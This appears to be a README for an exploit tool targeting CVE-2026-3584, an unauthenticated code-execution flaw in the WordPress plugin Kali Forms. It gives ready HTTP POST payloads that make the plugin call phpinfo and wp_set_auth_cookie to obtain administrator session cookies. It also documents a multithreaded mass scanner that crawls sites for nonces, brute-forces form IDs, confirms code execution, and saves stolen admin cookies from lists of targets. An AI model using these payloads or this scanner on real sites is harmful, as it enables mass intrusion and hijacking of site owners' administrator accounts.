
CVE-2026-3584
🔥 취약점 요약
WordPress 플러그인 Kali Forms 버전 <= 2.4.9에는 치명적인 인증되지 않은 원격 코드 실행(RCE) 취약점이 존재합니다. 이 결함으로 인해 인증되지 않은 공격자는 인가 검사 없이 공개적으로 노출된 AJAX 엔드포인트 kaliforms_form_process를 통해 서버에서 임의의 PHP 코드를 실행하고 완전한 관리자 권한을 획득할 수 있습니다.
이 취약점은 사용자 제어 파라미터(thisPermalink 및 entryCounter 포함)를 받아들이고 임의의 PHP 콜백을 실행하는 form_process 함수에서 발생하며, 다음과 같은 결과를 초래합니다:
phpinfo(), system(), eval() 등을 통한 원격 코드 실행(RCE)wp_set_auth_cookie()를 통한 권한 상승취약점은 Kali Forms 플러그인의 AJAX 요청을 처리하는 form_process 함수에서 발생합니다. 취약한 코드는 다음을 통해 노출됩니다:
// Endpoint AJAX accessibile senza autenticazione
add_action('wp_ajax_nopriv_kaliforms_form_process', array($this, 'form_process'));
익스플로잇 흐름:
보호되지 않은 엔드포인트: /wp-admin/admin-ajax.php?action=kaliforms_form_process 엔드포인트는 wp_ajax_nopriv_ 훅을 통해 인증되지 않은 사용자도 접근할 수 있습니다.
사용자 제어 파라미터:
data[thisPermalink] - 임의의 PHP 함수 이름을 포함할 수 있음data[entryCounter] - 임의의 PHP 함수 이름을 포함할 수 있음data[formId] - 처리할 폼의 ID필터링되지 않은 콜백 실행: 취약한 코드는 검증 없이 PHP 콜백을 실행합니다:
$callback = $_POST['data']['thisPermalink'];
call_user_func($callback); // Nessun controllo!
익스플로잇 체인:
Attacker → POST Request → kaliforms_form_process
↓
thisPermalink=phpinfo → call_user_func('phpinfo')
↓
PHP Code Execution → phpinfo() eseguito
↓
entryCounter=wp_set_auth_cookie → Cookie amministratore generato
↓
Full Admin Access
취약한 요청 예시:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
action=kaliforms_form_process&
data[formId]=1&
data[nonce]=abc123&
data[thisPermalink]=phpinfo&
data[email][email protected]
결과: 서버가 phpinfo()를 실행하고 PHP 구성에 대한 전체 정보를 반환합니다.
권한 상승 요청:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
action=kaliforms_form_process&
data[formId]=1&
data[nonce]=abc123&
data[entryCounter]=wp_set_auth_cookie&
data[email][email protected]
결과: WordPress는 wp_set_auth_cookie(user_id)를 실행하며, 여기서 user_id는 종종 formId와 일치하여 유효한 관리자 세션 쿠키를 생성합니다.
mass_scanner.py는 CVE-2026-3584 취약점의 완전한 악용을 위한 4단계 자동화 파이프라인을 구현합니다:
┌─────────────────────────────────────────────────────────────────────────────┐
│ MASS SCANNER PIPELINE │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ Fase 1: Ricognizione API REST │
│ ├─ Enumera utenti: /wp-json/wp/v2/users │
│ └─ Enumera post: /wp-json/wp/v2/posts │
│ → Identifica user_id e post_id per escalation │
│ │
│ Fase 2: Scoperta Moduli │
│ ├─ Crawl sito (depth=2) │
│ ├─ Cerca pattern: 'KaliFormsObject', 'kaliforms' │
│ ├─ Estrae nonce da JavaScript │
│ └─ Estrae formId da HTML │
│ → Trova tutti i moduli Kali Forms vulnerabili │
│ │
│ Fase 3: Test RCE │
│ ├─ Invia: data[thisPermalink]=phpinfo │
│ ├─ Verifica: 'PHP Version' in response │
│ └─ Salva: result/target_phpinfo.html │
│ → Conferma esecuzione codice remoto │
│ │
│ Fase 4: Escalation Privilegi │
│ ├─ Invia: data[entryCounter]=wp_set_auth_cookie │
│ ├─ Estrae: wordpress_logged_in + wordpress_sec cookies │
│ ├─ Verifica: Accesso a /wp-admin/ senza redirect │
│ └─ Salva: result_cookie/target.txt │
│ → Ottiene accesso amministratore completo │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
1. 자동 URL 정규화
def normalize_url(self, target):
# Aggiunge automaticamente http:// o https://
# Prova prima HTTPS, poi fallback su HTTP
# Gestisce porte personalizzate (es. :8080)
2. REST API 열거
def enumerate_users_api(self, target):
# GET /wp-json/wp/v2/users
# Estrae tutti gli user_id disponibili
# Usato per mappare formId → user_id
def enumerate_posts_api(self, target):
# GET /wp-json/wp/v2/posts
# Estrae tutti i post_id disponibili
# Identifica sovrapposizioni user_id/post_id
3. 폼 검색(스마트 크롤링)
def discover_pages(self, target, max_depth=2):
# Crawl ricorsivo del sito
# Cerca pattern JavaScript: 'KaliFormsObject'
# Filtra URL non necessari (js, css, immagini)
# Segue solo link interni
# Ritorna lista pagine con Kali Forms
4. 폼 데이터 추출
def extract_form_data(self, page_url):
# Estrae nonce da JavaScript:
# KaliFormsObject = { ajax_nonce: "abc123" }
# Estrae formId da HTML:
# data-id="1" o [kaliform id="1"]
# Se nonce trovato ma no formId:
# Brute force ID 1-10
5. RCE 테스트
def test_rce(self, target, form_id, nonce):
# POST /wp-admin/admin-ajax.php
# Payload: data[thisPermalink]=phpinfo
# Verifica: len(response) > 10000 e 'PHP Version' presente
# Salva HTML completo per analisi
6. 권한 상승 테스트
def test_privilege_escalation_fast(self, target, nonce, user_ids, post_ids):
# Strategia intelligente:
# 1. Cerca sovrapposizioni user_id/post_id
# 2. Testa prima ID con alta probabilità successo
# 3. Fallback su ID comuni: 1,2,3,4,5
# Per ogni formId candidato:
# POST data[entryCounter]=wp_set_auth_cookie
# Estrae cookie: wordpress_logged_in + wordpress_sec
# Verifica: GET /wp-admin/ → no redirect
# Controlla: 'dashboard' in response
7. 멀티 스레딩
# ThreadPoolExecutor per elaborazione parallela
# Thread-safe locks per scrittura risultati
# Salvataggio real-time (append mode)
# Statistiche globali con sync
8. 자동 백업 시스템
def backup_previous_results(self):
# Prima di ogni scan:
# result_phpinfo.txt → result_phpinfo.txt.20260325_120000.backup
# result/ → result.20260325_120000.backup/
# result_cookie/ → result_cookie.20260325_120000.backup/
# Preserva tutti i dati storici
pip3 install requests beautifulsoup4
targets.txt 파일을 한 줄에 대상 하나씩 생성합니다(http/https는 선택 사항):
example.com
wordpress.site
192.168.1.100
http://blog.example.org
https://secure.site.com:8080
# Scansione con impostazioni predefinite (20 thread)
python3 mass_scanner.py targets.txt
# Scansione con thread personalizzati
python3 mass_scanner.py -t 10 targets.txt
# Scansione con numero massimo di thread
python3 mass_scanner.py --threads 50 targets.txt